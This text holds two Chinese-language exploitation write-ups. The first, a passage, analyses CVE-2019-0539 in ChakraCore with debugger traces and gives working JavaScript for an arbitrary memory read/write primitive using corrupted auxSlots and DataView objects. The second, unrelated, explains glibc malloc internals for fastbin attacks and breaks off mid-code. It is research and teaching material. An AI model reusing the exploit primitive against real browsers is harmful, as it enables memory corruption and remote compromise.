00000195`cc9c00cd f249895e18 repne mov qword ptr [r14+18h],rbx
00000195`cc9c00d2 4c8bc7 mov r8,rdi
00000195`cc9c00d5 498bcf mov rcx,r15
00000195`cc9c00d8 48baf85139ca95010000 mov rdx,195CA3951F8h
00000195`cc9c00e2 48b8d040a39cfe7f0000 mov rax,offset chakracore!Js::ScriptFunction::OP_NewScFuncHomeObj (00007ffe`9ca340d0)
00000195`cc9c00ec 48ffd0 call rax
00000195`cc9c00ef 488bd8 mov rbx,rax
00000195`cc9c00f2 498bd5 mov rdx,r13
00000195`cc9c00f5 488bcb mov rcx,rbx
00000195`cc9c00f8 c60601 mov byte ptr [rsi],1
00000195`cc9c00fb 49b83058e8c995010000 mov r8,195C9E85830h
00000195`cc9c0105 48b88041679cfe7f0000 mov rax,offset chakracore!Js::JavascriptOperators::OP_InitClass (00007ffe`9c674180) // transitions the type of the object
00000195`cc9c010f 48ffd0 call rax
00000195`cc9c0112 803e01 cmp byte ptr [rsi],1
00000195`cc9c0115 0f85dc000000 jne 00000195`cc9c01f7
00000195`cc9c011b 488bc3 mov rax,rbx
00000195`cc9c011e 48c1e830 shr rax,30h
00000195`cc9c0122 0f85eb000000 jne 00000195`cc9c0213
00000195`cc9c0128 4c8b6b08 mov r13,qword ptr [rbx+8]
00000195`cc9c012c 498bc5 mov rax,r13
00000195`cc9c012f 48c1e806 shr rax,6
00000195`cc9c0133 4883e007 and rax,7
00000195`cc9c0137 48b9b866ebc995010000 mov rcx,195C9EB66B8h
00000195`cc9c0141 33d2 xor edx,edx
00000195`cc9c0143 4c3b2cc1 cmp r13,qword ptr [rcx+rax*8]
00000195`cc9c0147 0f85e2000000 jne 00000195`cc9c022f
00000195`cc9c014d 480f45da cmovne rbx,rdx
00000195`cc9c0151 488b4310 mov rax,qword ptr [rbx+10h]
00000195`cc9c0155 4d896610 mov qword ptr [r14+10h],r12 // trigger of CVE-2019-0539. Overridden slot array pointer
下面是在JIT代码调用`OP_InitClass`前的对象的内存dump。注意两个对象slots是如何在对象内存中内联（而不是存储在独立的slot
array中）。
Time Travel Position: 8FE48:C95
chakracore!Js::JavascriptOperators::OP_InitClass:
00007ffe`9c674180 4c89442418 mov qword ptr [rsp+18h],r8 ss:00000086`971fd710=00000195ca395030
0:004> dps 00000195`cd274440
00000195`cd274440 00007ffe`9d6e1790 chakracore!Js::DynamicObject::`vftable'
00000195`cd274448 00000195`ca3c1d40
00000195`cd274450 00010000`00000001 // inline slot 1
00000195`cd274458 00010000`00000001 // inline slot 2
00000195`cd274460 00000195`cd274440
00000195`cd274468 00010000`00000000
00000195`cd274470 00000195`ca3b4030
00000195`cd274478 00000000`00000000
00000195`cd274480 00000195`cd073ed0
00000195`cd274488 00000000`00000000
00000195`cd274490 00000000`00000000
00000195`cd274498 00000000`00000000
00000195`cd2744a0 00000195`cd275c00
00000195`cd2744a8 00010000`00000000
00000195`cd2744b0 00000195`ca3dc100
00000195`cd2744b8 00000000`00000000
下面的调用栈表明`OP_InitClass`最终会调用`SetIsPrototype`，从而触发对象类型转换。这种转换导致两个slots不再内联，而是存储在slot
array中。而且这种转换在随后会被JIT代码所忽略。
0:004> kb
# RetAddr : Args to Child : Call Site
00 00007ffe`9cd0dace : 00000195`cd274440 00000195`ca3a0000 00000195`00000004 00007ffe`9bf6548b : chakracore!Js::DynamicTypeHandler::AdjustSlots+0x79f [c:ppchakracorelibruntimetypestypehandler.cpp @ 755]
01 00007ffe`9cd24181 : 00000195`cd274440 00000195`cd264f60 00000195`000000fb 00007ffe`9c200002 : chakracore!Js::DynamicObject::DeoptimizeObjectHeaderInlining+0xae [c:ppchakracorelibruntimetypesdynamicobject.cpp @ 591]
02 00007ffe`9cd2e393 : 00000195`ca3da0f0 00000195`cd274440 00000195`00000002 00007ffe`9cd35f00 : chakracore!Js::PathTypeHandlerBase::ConvertToSimpleDictionaryType<Js::SimpleDictionaryTypeHandlerBase >+0x1b1 [c:ppchakracorelibruntimetypespathtypehandler.cpp @ 1622]
03 00007ffe`9cd40ac2 : 00000195`ca3da0f0 00000195`cd274440 00000000`00000002 00007ffe`9bf9fe00 : chakracore!Js::PathTypeHandlerBase::TryConvertToSimpleDictionaryType<Js::SimpleDictionaryTypeHandlerBase >+0x43 [c:ppchakracorelibruntimetypespathtypehandler.cpp @ 1598]
04 00007ffe`9cd3cf81 : 00000195`ca3da0f0 00000195`cd274440 00000195`00000002 00007ffe`9cd0c700 : chakracore!Js::PathTypeHandlerBase::TryConvertToSimpleDictionaryType+0x32 [c:ppchakracorelibruntimetypespathtypehandler.h @ 297]
05 00007ffe`9cd10a9f : 00000195`ca3da0f0 00000195`cd274440 00000001`0000001c 00007ffe`9c20c563 : chakracore!Js::PathTypeHandlerBase::SetIsPrototype+0xe1 [c:ppchakracorelibruntimetypespathtypehandler.cpp @ 2892]
06 00007ffe`9cd0b7a3 : 00000195`cd274440 00007ffe`9bfa722e 00000195`cd274440 00007ffe`9bfa70a3 : chakracore!Js::DynamicObject::SetIsPrototype+0x23f [c:ppchakracorelibruntimetypesdynamicobject.cpp @ 680]
07 00007ffe`9cd14b08 : 00000195`cd274440 00007ffe`9c20d013 00000195`cd274440 00000195`00000119 : chakracore!Js::RecyclableObject::SetIsPrototype+0x43 [c:ppchakracorelibruntimetypesrecyclableobject.cpp @ 190]
08 00007ffe`9c6743ea : 00000195`cd275c00 00000195`cd274440 0000018d`00000119 00000195`c9e85830 : chakracore!Js::DynamicObject::SetPrototype+0x18 [c:ppchakracorelibruntimetypesdynamictype.cpp @ 632]
09 00000195`cc9c0112 : 00000195`cd264f60 00000195`cd273eb0 00000195`c9e85830 00007ffe`9c20c9b3 : chakracore!Js::JavascriptOperators::OP_InitClass+0x26a [c:ppchakracorelibruntimelanguagejavascriptoperators.cpp @ 7532]
0a 00007ffe`9cbea0d2 : 00000195`ca3966e0 00000000`10000004 00000195`ca395030 00000195`cd274440 : 0x00000195`cc9c0112
下面是`OP_InitClass`调用后，对象的内存dump。可以观察到，对象已经被转换并且两个slots不再内联。但是，后续的JIT代码仍然会认为slots是内联的。
Time Travel Position: 9001D:14FA
00000195`cc9c0112 803e01 cmp byte ptr [rsi],1 ds:0000018d`c8e72018=01
0:004> dps 00000195`cd274440
00000195`cd274440 00007ffe`9d6e1790 chakracore!Js::DynamicObject::`vftable'
00000195`cd274448 00000195`cd275d40
00000195`cd274450 00000195`cd2744c0 // slot array pointer (previously inline slot 1)
00000195`cd274458 00000000`00000000
00000195`cd274460 00000195`cd274440
00000195`cd274468 00010000`00000000
00000195`cd274470 00000195`ca3b4030
00000195`cd274478 00000195`cd277000
00000195`cd274480 00000195`cd073ed0
00000195`cd274488 00000195`cd073f60
00000195`cd274490 00000195`cd073f90
00000195`cd274498 00000000`00000000
00000195`cd2744a0 00000195`cd275c00
00000195`cd2744a8 00010000`00000000
00000195`cd2744b0 00000195`ca3dc100
00000195`cd2744b8 00000000`00000000
0:004> dps 00000195`cd2744c0 // slot array
00000195`cd2744c0 00010000`00000001
00000195`cd2744c8 00010000`00000001
00000195`cd2744d0 00000000`00000000
00000195`cd2744d8 00000000`00000000
00000195`cd2744e0 00000119`00000000
00000195`cd2744e8 00000000`00000100
00000195`cd2744f0 00000195`cd074000
00000195`cd2744f8 00000000`00000000
00000195`cd274500 000000c4`00000000
00000195`cd274508 00000000`00000102
00000195`cd274510 00000195`cd074030
00000195`cd274518 00000000`00000000
00000195`cd274520 000000fb`00000000
00000195`cd274528 00000000`00000102
00000195`cd274530 00000195`cd074060
00000195`cd274538 00000000`00000000
下面是JIT错误地分配了属性值、覆写 slot array 指针后的对象内存dump：
0:004> dqs 00000195cd274440
00000195`cd274440 00007ffe`9d6e1790 chakracore!Js::DynamicObject::`vftable'
00000195`cd274448 00000195`cd275d40
00000195`cd274450 00010000`00001234 // overridden slot array pointer (CVE-2019-0539)
00000195`cd274458 00000000`00000000
00000195`cd274460 00000195`cd274440
00000195`cd274468 00010000`00000000
00000195`cd274470 00000195`ca3b4030
00000195`cd274478 00000195`cd277000
00000195`cd274480 00000195`cd073ed0
00000195`cd274488 00000195`cd073f60
00000195`cd274490 00000195`cd073f90
00000195`cd274498 00000000`00000000
00000195`cd2744a0 00000195`cd275c00
00000195`cd2744a8 00010000`00000000
00000195`cd2744b0 00000195`ca3dc100
00000195`cd2744b8 00000000`00000000
最终，当访问一个对象的属性时，被覆写的 slot array 指针将会被取消引用，从而导致Crash
0:004> g
(1e8c.20b8): Access violation - code c0000005 (first/second chance not available)
First chance exceptions are reported before any exception handling.
chakracore!Js::DynamicTypeHandler::GetSlot+0x149:
00007ffe`9cd1ec79 488b04c1 mov rax,qword ptr [rcx+rax*8] ds:00010000`00001234=????????????????
### 思考
由于Windbg添加的TTD，简化了调试过程。具体而言就是指设置断点、反向运行程序直到覆写slot
array指针的能力。这项功能确实展示了CPU跟踪和执行重建的能力，可用于软件调试以及逆向工程。
## 漏洞利用
### 简介
前文介绍了CVE-2019-0539漏洞的根源，本部分将继续研究如何实现完全的读写控制并最终实现RCE。这里需要重点注意的是：由于Microsoft
Edge引入了沙箱技术，因此为完全破坏系统，我们需要一个额外的漏洞来实现沙箱逃逸。
这里，我们要感谢 Lokihardt 和 Bruno Keith 在这一领域的惊人研究成果，他们的研究成果对我们下文的研究具有重要价值。
### 漏洞利用
由上一章的分析可知，该漏洞让我们能够实现覆写 javascript 对象的slot array指针。借鉴Bruno Keith在BlackHat 2019
上[提出](https://www.youtube.com/watch?v=lBL4KGIybWE)的奇妙的[研究成果](https://github.com/bkth/Attacking-Edge-Through-the-JavaScript-Compiler)，我们可以得知，在Chakra中，javascript 对象(`o={a: 1,
b: 2};`)是在`Js::DynamicObject`类中实现的，且可能有不同的内存布局，其属性 slot array
指针被称之为`auxSlots`。从`DynamicObject`类定义（位于`libRuntimeTypesDynamicObject.h`）中，可以得知Bruno
所讨论的三种可能的内存布局规范：
// Memory layout of DynamicObject can be one of the following:
// (#1) (#2) (#3)
// +--------------+ +--------------+ +--------------+
// | vtable, etc. | | vtable, etc. | | vtable, etc. |
// |--------------| |--------------| |--------------|
// | auxSlots | | auxSlots | | inline slots |
// | union | | union | | |
// +--------------+ |--------------| | |
// | inline slots | | |
// +--------------+ +--------------+
// The allocation size of inline slots is variable and dependent on profile data for the
// object. The offset of the inline slots is managed by DynamicTypeHandler.
因此，一个对象只可能有以下三种情况：
1. 拥有一个`auxSlots`指针、没有内联`slots` （#1）
2. 拥有一个内联`slots`但没有`auxSlots`指针（#3），
3. 同时拥有一个`auxSlots`指针、一个内联`slots`（#2）
在[CVE-2019-0539 PoC](https://bugs.chromium.org/p/project-zero/issues/detail?id=1703&desc=2)中，对象`o`以（#3）形式的内存布局开始其生命周期。然后，当JIT代码最后一次调用`OP_InitClass`函数时，对象`o`的内存布局就变更为（#1）。JIT代码在调用`OP_InitClass`函数之前和之后关于`o`的精确内存布局如下：
Before: After:
+---------------+ +--------------+ +--->+--------------+
| vtable | | vtable | | | slot 1 | // o.a
+---------------+ +--------------+ | +--------------+
| type | | type | | | slot 2 | // o.b
+---------------+ +--------------+ | +--------------+
| inline slot 1 | // o.a | auxSlots +---+ | slot 3 |
+---------------+ +--------------+ +--------------+
| inline slot 2 | // o.b | objectArray | | slot 4 |
+---------------+ +--------------+ +--------------+
在`OP_InitClass`调用前，`o.a`位于第一个内联`slot`中；调用后，它位于`slot
1`的`auxSlots`数组中。因此，正如在上述漏洞根源分析中提到的，JIT代码试图用0x1234来更新位于第一个内联`slot`中的`o.a`，但是它并不知道对象的内存布局已经发生了改变，因而它实际覆写了`auxSlots`指针。
现在，为了利用漏洞实现完全读写原语，参照Bruno的研究，我们需要破坏一些其他有用的对象，并以此实现内存中的任意地址读写。首先，我们需要更好地理解该漏洞的利用价值。当我们覆写`DynamicObject`的`auxSlots`指针时，我们就可以“处理”放入`auxSlots`中的内容来作为`auxSlots
array`。因此举例而言，如果我们利用该漏洞将`auxSlots`指向一个`JavascriptArray`，如下所示：
some_array = [{}, 0, 1, 2];
...
opt(o, cons, some_array); // o->auxSlots = some_array
然后，我们可以通过赋予`o`属性来覆写`some_array
JavascriptArray`对象内存。使用漏洞覆盖后的`auxSlots`内存状态图如下所示：
o some_array
+--------------+ +--->+---------------------+
| vtable | | | vtable | // o.a
+--------------+ | +---------------------+
| type | | | type | // o.b
+--------------+ | +---------------------+
| auxSlots +---+ | auxSlots | // o.c?
+--------------+ +---------------------+
| objectArray | | objectArray | // o.d?
+--------------+ |- - - - - - - - - - -|
| arrayFlags |
| arrayCallSiteIndex |
+---------------------+
| length | // o.e??
+---------------------+
| head | // o.f??
+---------------------+
| segmentUnion | // o.g??
+---------------------+
| .... |
+---------------------+
因此，理论而言，如果我们想要覆写数组的长度，我们可以通过类似`o.e =
0xFFFFFFFF`的操作，然后使用`some_array[1000]`来从数据基址区访问一些远程地址。但是，这里有几点需要考虑的问题：
1. 除了`a`和`b`以外的其他属性都未定义。这意味着要想实现右侧`slot`中`o.e`的定义，我们首先需要分配其他的所有属性，这样的操作会破坏更多的内存，导致数组无法使用。
2. 原始的`auxSlots array`并不够大。它初始仅分配了4个`slots`。如果我们定义更多的属性，`Js::DynamicTypeHandler::AdjustSlots`函数会分配一个新的`slots array`，并将`auxSlots`指向它，而不是我们的`JavascriptArray`对象。
3. 我们原计划在`JavascriptArray`对象的`length`字段中放入的0xFFFFFFFF数值并不会被如期写入。Chakra使用所谓的标记数字，因此将要写入的数字将会是`boxed`（更多解释请参照[Chartra的文章](https://abchatra.github.io/TaggedFloat/)）
4. 即便我们能够在避免破坏其余内存的同时，将`length`字段覆写为较大数值。这也只会给我们一个“相对的”读写原语（相对于数组基址），比起完全的读写原语这显然是不够强大的。
5. 实际上，覆写`JavascriptArray`的`length`字段并不是很有用的，它也不会得到我们期望实现的相对读写原语。在这种特殊情况下需要做的就是破坏`array`的段大小，这里不会详细探讨。尽管如此，让我们假设覆写`length`字段是有用的，因为它很好地展示了漏洞利用的微妙之处。
因此，我们需要一些特殊的技巧来克服上述问题。我们先来讨论问题1和2。首先想到的就是在漏洞触发前，在`o`对象中提前预定义更多的属性。然后，当覆写`auxSlots`指针时，我们已经在正确的`slot`中定义了`o.e`，该`slot`对应于数组的`length`字段。不幸的是，当增加更多的属性时，会发生以下两种情况之一：
* 我们过早的更改了内存对象布局（#1），从而阻止了漏洞发生，因为不再有机会覆写`auxSlots`指针。
* 我们创建了更多的内联`slots`，并且在漏洞触发后仍然保持内联。该对象最终布局（#2），有大量的属性位于新的内联`slots`中。因此在所谓的`auxSlots array`即`some_array`对象内存中，我们仍然无法做到多于2个`slot`。
Bruno
Keith在他的演讲中提出了一个巧妙的方法来同时解决问题1和2。我们首先破坏预先准备好的具有多个属性的另一个`DynamicObject`，而不是直接破坏目标对象（我们示例中的`JavascriptArray`），其已经在内存布局中（#1）。
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;
some_array = [{}, 0, 1, 2];
...
opt(o, cons, obj); // o->auxSlots = obj
o.c = some_array; // obj->auxSlots = some_array
我们观察一下在执行`o.c = some_array;`前后的内存状态：
Before:
o obj
+--------------+ +--->+--------------+ +->+--------------+
| vtable | | | vtable | //o.a | | slot 1 | // obj.a
+--------------+ | +--------------+ | +--------------+
| type | | | type | //o.b | | slot 2 | // obj.b
+--------------+ | +--------------+ | +--------------+
| auxSlots +---+ | auxSlots +--------+ | slot 3 | // obj.c
+--------------+ +--------------+ +--------------+
| objectArray | | objectArray | | slot 4 | // obj.d
+--------------+ +--------------+ +--------------+
| slot 5 | // obj.e
+--------------+
| slot 6 | // obj.f
+--------------+
| slot 7 | // obj.g
+--------------+
| slot 8 | // obj.h
+--------------+
| slot 9 | // obj.i
+--------------+
| slot 10 | // obj.j
+--------------+
After:
o obj some_array
+--------------+ +--->+--------------+ +->+---------------------+
| vtable | | | vtable | //o.a | | vtable | // obj.a
+--------------+ | +--------------+ | +---------------------+
| type | | | type | //o.b | | type | // obj.b
+--------------+ | +--------------+ | +---------------------+
| auxSlots +---+ | auxSlots +-//o.c--+ | auxSlots | // obj.c
+--------------+ +--------------+ +---------------------+
| objectArray | | objectArray | | objectArray | // obj.d
+--------------+ +--------------+ |- - - - - - - - - - -|
| arrayFlags |
| arrayCallSiteIndex |
+---------------------+
| length | // obj.e
+---------------------+
| head | // obj.f
+---------------------+
| segmentUnion | // obj.g
+---------------------+
| .... |
+---------------------+
此时，执行`obj.e =
0xFFFFFFFF`实际上会替换`some_array`对象的`length`字段。然而，问题3中提到，这个数值并不会如期原样写入，而是以其`boxed`形式写入。即便我们忽略问题3，问题4和5仍然会导致我们选择的对象失效。因此，我们应该选择另外一个对象进行破坏。Bruno在他的漏洞利用中巧妙地使用了`ArrayBuffer`对象，但不幸的是，在提交cf71a962c1ce0905a12cb3c8f23b6a37987e68df（10月份的1809合并更新）中，`ArrayBuffer`对象的内存布局发生了改变。它没有直接指向数据缓冲区，而是通过`bufferContent`字段指向一个名为`RefCountedBuffer`的中间结构，只有该结构指向实际的数据。因此，需要不同的解决方法。
最终，我们提出破坏`DataView`对象的想法，该对象实际上在内部使用了`ArrayBuffer`。因此，它具备与使用`ArrayBuffer`相同的优点，并且它直接指向`ArrayBuffer`的底层数据缓冲区。这里是被`ArrayBuffer`初始化的`DataView`对象的内存布局（`v
= new DataView(new ArrayBuffer(0x100));`）。
actual
DataView ArrayBuffer buffer
+---------------------+ +--->+---------------------+ RefCountedBuffer +--->+----+
| vtable | | | vtable | +--->+---------------------+ | | |
+---------------------+ | +---------------------+ | | buffer |---+ +----+
| type | | | type | | +---------------------+ | | |
+---------------------+ | +---------------------+ | | refCount | | +----+
| auxSlots | | | auxSlots | | +---------------------+ | | |
+---------------------+ | +---------------------+ | | +----+
| objectArray | | | objectArray | | | | |
|- - - - - - - - - - -| | |- - - - - - - - - - -| | | +----+
| arrayFlags | | | arrayFlags | | | | |
| arrayCallSiteIndex | | | arrayCallSiteIndex | | | +----+
+---------------------+ | +---------------------+ | | | |
| length | | | isDetached | | | +----+
+---------------------+ | +---------------------+ | | | |
| arrayBuffer |---+ | primaryParent | | | +----+
+---------------------+ +---------------------+ | | | |
| byteOffset | | otherParents | | | +----+
+---------------------+ +---------------------+ | | | |
| buffer |---+ | bufferContent |---+ | +----+
+---------------------+ | +---------------------+ | | |
| | bufferLength | | +----+
| +---------------------+ |
| |
+-------------------------------------------------------------+
正如所示，`DataView`对象指向了`ArrayBuffer`对象。`ArrayBuffer`指向了前面提到的`RefCountedBuffer`对象，后者又指向了内存中的实际数据缓冲区。然而，观察到`DataView`对象也指向了实际数据缓冲区。如果我们覆写`DataView`对象的缓冲区字段为我们的指针，我们则会根据所需得到所需的绝对读写原语。我们的障碍只剩问题3了——我们无法用已被破坏的`DynamicObject`来在内存中写入普通数字（被标记的数字…）。但现在，由于`DataView`对象允许我们在其指向的缓冲区内写入普通数字（详细信息可参考DataView
“API”
）。再次受到Bruno的启发，我们有两个`DataView`对象，其中第一个指向第二个，至此我们清楚地知道下一步的破坏方式。这将解决最后一个问题，并且给予我们想要的绝对读写原语。
让我们回看整个漏洞利用过程。可以参考下面的说明（省略了我们不关心的对象）
o obj DataView #1 - dv1 DataView #2 - dv2
+--------------+ +->+--------------+ +->+---------------------+ +->+---------------------+ +--> 0x????
| vtable | | | vtable | //o.a | | vtable | //obj.a | | vtable | |
+--------------+ | +--------------+ | +---------------------+ | +---------------------+ |
| type | | | type | //o.b | | type | //obj.b | | type | |
+--------------+ | +--------------+ | +---------------------+ | +---------------------+ |
| auxSlots +-+ | auxSlots +-//o.c--+ | auxSlots | //obj.c | | auxSlots | |
+--------------+ +--------------+ +---------------------+ | +---------------------+ |
| objectArray | | objectArray | | objectArray | //obj.d | | objectArray | |
+--------------+ +--------------+ |- - - - - - - - - - -| | |- - - - - - - - - - -| |
| arrayFlags | | | arrayFlags | |
| arrayCallSiteIndex | | | arrayCallSiteIndex | |
+---------------------+ | +---------------------+ |
| length | //obj.e | | length | |
+---------------------+ | +---------------------+ |
| arrayBuffer | //obj.f | | arrayBuffer | |
+---------------------+ | +---------------------+ |
| byteOffset | //obj.g | | byteOffset | |
+---------------------+ | +---------------------+ |
| buffer |-//obj.h--+ | buffer |--+//dv1.setInt32(0x38,0x??,true);
+---------------------+ +---------------------+ //dv1.setInt32(0x3C,0x??,true);
1. 触发漏洞将`'o'auxSlots`设置为`'obj'(opt(o, cons, obj);)`
2. 用`o`将`obj`设置为第一个`DataView (o.c = dv1;)`
3. 用`obj`设置第一个`DataView（'dv1'）`缓冲区字段为第二个`DataView`对象(`obj.h = dv2;`)
4. 用第一个`DataView`对象`dv1`来准确地将第二个`DataView`对象`dv2`的缓冲区字段设置为我们选择的地址（`dv1.setUint32(0x38, 0xDEADBEEF, true); dv1.setUint32(0x3C, 0xDEADBEEF, true);`）。注意我们是如何将选择的地址（0xDEADBEEFDEADBEEF）写入`dv2`缓冲区字段的精确偏移处（0x38）。
5. 用第二个`DataView`对象`dv2`来读写我们选择的地址（`dv2.getUint32(0, true); dv2.getUint32(4, true);`）
重复执行步骤4和5来执行我们的读写操作。
下面就是完全读写原语的代码：
// commit 331aa3931ab69ca2bd64f7e020165e693b8030b5
obj = {}
obj.a = 1;
obj.b = 2;
obj.c = 3;
obj.d = 4;
obj.e = 5;
obj.f = 6;
obj.g = 7;
obj.h = 8;
obj.i = 9;
obj.j = 10;
dv1 = new DataView(new ArrayBuffer(0x100));
dv2 = new DataView(new ArrayBuffer(0x100));
BASE = 0x100000000;
function hex(x) {
return "0x" + x.toString(16);
}
function opt(o, c, value) {
o.b = 1;
class A extends c {}
o.a = value;
}
function main() {
for (let i = 0; i < 2000; i++) {
let o = {a: 1, b: 2};
opt(o, (function () {}), {});
}
let o = {a: 1, b: 2};
let cons = function () {};
cons.prototype = o;
opt(o, cons, obj); // o->auxSlots = obj (Step 1)
o.c = dv1; // obj->auxSlots = dv1 (Step 2)
obj.h = dv2; // dv1->buffer = dv2 (Step 3)
let read64 = function(addr_lo, addr_hi) {
// dv2->buffer = addr (Step 4)
dv1.setUint32(0x38, addr_lo, true);
dv1.setUint32(0x3C, addr_hi, true);
// read from addr (Step 5)
return dv2.getInt32(0, true) + dv2.getInt32(4, true) * BASE;
}
let write64 = function(addr_lo, addr_hi, value_lo, value_hi) {
// dv2->buffer = addr (Step 4)
dv1.setUint32(0x38, addr_lo, true);
dv1.setUint32(0x3C, addr_hi, true);
// write to addr (Step 5)
dv2.setInt32(0, value_lo, true);
dv2.setInt32(0, value_hi, true);
}
// get dv2 vtable pointer
vtable_lo = dv1.getUint32(0, true);
vtable_hi = dv1.getUint32(4, true);
print(hex(vtable_lo + vtable_hi * BASE));
// read first vtable entry using the RW primitive
print(hex(read64(vtable_lo, vtable_hi)));
// write a value to address 0x1111111122222222 using the RW primitive (this will crash)
write64(0x22222222, 0x11111111, 0x1337, 0x1337);
}
main();
注意：如果想要调试自己的代码（例如WinDBG），一个很便捷的方法就是使用”instruments”来断在感兴趣的JS代码处。可参考一下两条有用的建议：
* 在`ch!WScriptJsrt::EchoCallback`设置断点从而阻止`print()`调用
* 在`chakracore!Js::DynamicTypeHandler::SetSlotUnchecked`设置断点，阻止解释器执行的`DynamicObject`属性赋值操作。这对于查看javascript对象（`o`和`obj`）如何破坏内存中的其他对象很有帮助。
将两者任意结合起来可以轻松定位利用代码。
## 总结
我们已经见识了如何利用`DynamicObject`的`auxSlots`的JIT破坏来最终获得完全读写原语。我们利用损坏的对象进一步破坏其他感兴趣的对象。——特别是两个`DataView`对象，前一个精确地破坏了第二个，从而控制原语地址的选择。我们不得不绕过
javascript’s DynamicObject “API”
中的一些限制。最后，请注意，获得完全读写原语仅仅此漏洞利用的第一步。攻击者仍然需要重定向程序执行流程来获得完成的RCE。但是，这些内容超出了本文章的范畴，可以留给读者自行练习。 | 社区文章 |
# 堆利用之fastbin攻击
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
通过一道babyheap例题讲解fastbin attack，同时会涉及到一个泄露libc地址的方法，绕过GOT写保护劫持PC的方法，一个绕过Fastbin
大小检测的方法，还有对glibc相关源码的一些讲解。
## 涉及到的glibc的知识
要把这道题做出来，需要对下面的基础知识有所了解。
### 源码中MIN_CHUNK_SIZE大小是多少
MIN_CHUNK_SIZE指的是一个CHUNK最小为多大
#define MIN_CHUNK_SIZE (offsetof(struct malloc_chunk, fd_nextsize))
是fd_nextsize在malloc_chunk中的偏移，并不是malloc_chunk这个数据结构的大小
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
因为每个chunk都会有prev_size, size， fd,bk这几个成员，但是只有large
chunk拥有fd_nextsize和bk_nextsize
### MINSIZE
MINSIZE是指用户能够得到的最小的chunk 大小，与MIN_CHUNK_SIZE区别是它要求是对其的，所以是可能大于MIN_CHUNK_SIZE的
但是对于32位和64位的x86类型来说，MINSIZE与MIN_CHUNK_SIZE大小是一样的。32位MINSIZE=MIN_CHUNK_SIZE=16bytes,64位为32bytes。
### chunk与用户使用的mem之间的转换
#define chunk2mem(p) ((void*)((char*)(p) + 2*SIZE_SZ))
#define mem2chunk(mem) ((mchunkptr)((char*)(mem) - 2*SIZE_SZ))
### MALLOC_ALIGN_MASK
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
### MALLOC_ALIGN_MASK
# define MALLOC_ALIGNMENT (2 *SIZE_SZ < __alignof__ (long double) \
? __alignof__ (long double) : 2 *SIZE_SZ)
经过我的测试：
`x86 32情况下，__alignof__ (long double)为4`
`x64 情况下， __alignof__ (long double)为16`
所以32位下，MALLOC_ALIGNMENT的值为8，MALLOC_ALIGN_MASK 为7；
64位下MALLOC_ALIGNMENT值为16，MALLOC_ALIGN_MASK为15.
### request2size(req)
malloc(req)，到底会生成多大的chunk，是需要用 request2size(req)确定
#define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
MINSIZE : \
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
那么在32位下的req如何转换：
1.首先计算req + 4 + 7是否小于16
2.如果小于16,那么就转换为16
3.如果大于16就转换为(req + 4 + 7) & ~7 就是 (req+11)&0xfff8
自己写了个脚本测试了几个例子
def request2size(req,word):
sz_32 = 4
sz_64 = 8
mask_32= 7
mask_64 = 15
min_size_32 = 16
min_size_64 = 32
if word == 32:
if (req + sz_32 + mask_32 ) < min_size_32:
return min_size_32
else:
return (req + sz_32 + mask_32 ) & ~mask_32
elif word == 64:
if (req + sz_64 + mask_64 ) < min_size_64:
return min_size_64
else:
return (req + sz_64 + mask_64 ) & ~mask_64
32 位下
req:0, to:16
req:1, to:16
req:2, to:16
req:3, to:16
req:4, to:16
req:5, to:16
req:6, to:16
req:7, to:16
req:8, to:16
req:9, to:16
req:10, to:16
req:11, to:16
req:12, to:16
req:13, to:24
req:14, to:24
可以看到，如果malloc()的大小小于等于12则最终得到的chunk大小为16
64位下的测试结果
req:0x70, to:0x80
req:0x71, to:0x80
req:0x72, to:0x80
req:0x73, to:0x80
req:0x74, to:0x80
req:0x75, to:0x80
req:0x76, to:0x80
req:0x77, to:0x80
req:0x78, to:0x80
req:0x79, to:0x90
可以看到，当我们malloc申请的大小为0x78的时候，最终分配的chunk大小是0x80，这感觉有点违背直觉，因为chunk
header就是16个字节，那么分配0x78大小的时候至少chunk应该是0x78 + 0x10 =
0x88，至少应该是0x88，如果考虑16字节对齐的情况下，那么大小应该是0x90才对的？这是一个值得思考的问题，大家可以考虑一下为什么是0x80而不是0x90.
### 往unsorted bin中插入一个chunk
bck = unsorted_chunks(av);
fwd = bck->fd;
if (__glibc_unlikely (fwd->bk != bck))
{
errstr = "free(): corrupted unsorted chunks";
goto errout;
}
p->fd = fwd;
p->bk = bck;
if (!in_smallbin_range(size))
{
p->fd_nextsize = NULL;
p->bk_nextsize = NULL;
}
bck->fd = p;
fwd->bk = p;
set_head(p, size | PREV_INUSE);
set_foot(p, size);
check_free_chunk(av, p);
}
当free一个合适大小的chunk的时候，会往unsorted bin中插入这个chunk,
插入一个chunk的时候需要对四个指针进行写，分别是该chunk的fd和bk指针，以及前后相邻的两个chunk的一个bk和一个fd指针。
### malloc一个在unsorted bin上的chunk
如果unsorted bin有比申请大的chunk，就会直接把它分割，让剩下的chunk加入到unsorted bin 链表中。
具体操作如下
remainder = chunk_at_offset (victim, nb);
/* We cannot assume the unsorted list is empty and therefore
have to perform a complete insert here. */
bck = unsorted_chunks (av);
fwd = bck->fd;
if (__glibc_unlikely (fwd->bk != bck))
{
errstr = "malloc(): corrupted unsorted chunks 2";
goto errout;
}
remainder->bk = bck;
remainder->fd = fwd;
bck->fd = remainder;
fwd->bk = remainder;
/* advertise as last remainder */
if (in_smallbin_range (nb))
av->last_remainder = remainder;
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);
}
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
### 初始化bins
for (i = 1; i < NBINS; ++i)
{
bin = bin_at (av, i);
